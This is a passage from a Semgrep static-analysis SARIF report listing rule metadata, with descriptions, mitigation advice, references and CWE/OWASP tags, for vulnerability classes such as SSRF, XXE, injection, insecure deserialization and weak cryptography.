this code can access. Do not allow arbitrary hosts. Instead, create an allowlist for approved hosts, or hardcode the correct host."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.io-source-ssrf.io-source-ssrf","id":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","name":"scala.lang.security.audit.io-source-ssrf.io-source-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.io-source-ssrf.io-source-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request. See https://owasp.org/www-community/attacks/Server_Side_Request_Forgery to learn more about SSRF vulnerabilities."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","id":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","name":"python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.ssrf.ssrf-injection-requests.ssrf-injection-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"help":{"markdown":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n - [https://owasp.org/www-community/attacks/Code_Injection](https://owasp.org/www-community/attacks/Code_Injection)\n","text":"Found user data in a call to 'eval'. This is extremely dangerous because it can enable an attacker to execute arbitrary remote code on the system. Instead, refactor your code to not use 'eval' and instead use a safe library for the specific functionality you need."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.code.user-eval.user-eval","id":"python.django.security.injection.code.user-eval.user-eval","name":"python.django.security.injection.code.user-eval.user-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.code.user-eval.user-eval"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Kolide API Key detected"},"help":{"markdown":"Kolide API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Kolide API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","id":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","name":"generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-kolide-api-key.detected-kolide-api-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is a constant value. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","id":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","name":"cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.rng.predictable-seed-rng-constant.predictable-seed-rng-constant"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","id":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","name":"csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmldocument-unsafe-parser-override.xmldocument-unsafe-parser-override"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","id":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","name":"python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-jsonpickle.tainted-jsonpickle"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"help":{"markdown":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/html/rfc6151](https://tools.ietf.org/html/rfc6151)\n - [https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision](https://crypto.stackexchange.com/questions/44151/how-does-the-flame-malware-take-advantage-of-md5-collision)\n - [https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords](https://security.stackexchange.com/questions/211/how-to-securely-hash-passwords)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://www.php.net/password_hash](https://www.php.net/password_hash)\n","text":"It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as bcrypt. You can use `password_hash($PASSWORD, PASSWORD_BCRYPT, $OPTIONS);`."},"helpUri":"https://semgrep.dev/r/php.lang.security.md5-used-as-password.md5-used-as-password","id":"php.lang.security.md5-used-as-password.md5-used-as-password","name":"php.lang.security.md5-used-as-password.md5-used-as-password","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.md5-used-as-password.md5-used-as-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","id":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","name":"csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmltextreader-unsafe-defaults.xmltextreader-unsafe-defaults"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.requests.python-requests-empty-password.python-requests-empty-password","id":"python.requests.python-requests-empty-password.python-requests-empty-password","name":"python.requests.python-requests-empty-password.python-requests-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.requests.python-requests-empty-password.python-requests-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf](https://www.cosic.esat.kuleuven.be/ecrypt/ecrypt2/documents/D.SPA.20.pdf)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57Pt3r1.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"help":{"markdown":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#insecure-modes)\n - [https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption](https://crypto.stackexchange.com/questions/20941/why-shouldnt-i-use-ecb-encryption)\n","text":"ECB (Electronic Code Book) is the simplest mode of operation for block ciphers.  Each block of data is encrypted in the same way.  This means identical plaintext blocks will always result in identical ciphertext blocks, which can leave significant patterns in the output. Use a different, cryptographically strong mode instead, such as GCM."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","id":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","name":"python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-mode-ecb.insecure-cipher-mode-ecb"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-](https://riptutorial.com/java/example/16517/temporarily-disable-ssl-verification--for-testing-purposes-)\n - [https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1](https://stackoverflow.com/questions/35530558/how-to-fix-unsafe-implementation-of-x509trustmanager-in-android-app?rq=1)\n","text":"Checks for redefinitions of the checkServerTrusted function in the X509TrustManager class that disables TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spel-injection.spel-injection","id":"java.spring.security.audit.spel-injection.spel-injection","name":"java.spring.security.audit.spel-injection.spel-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spel-injection.spel-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","id":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","name":"java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-sls.tainted-system-command-sls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","id":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","name":"python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlalchemy-connection-fastapi.sqlalchemy-connection-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - 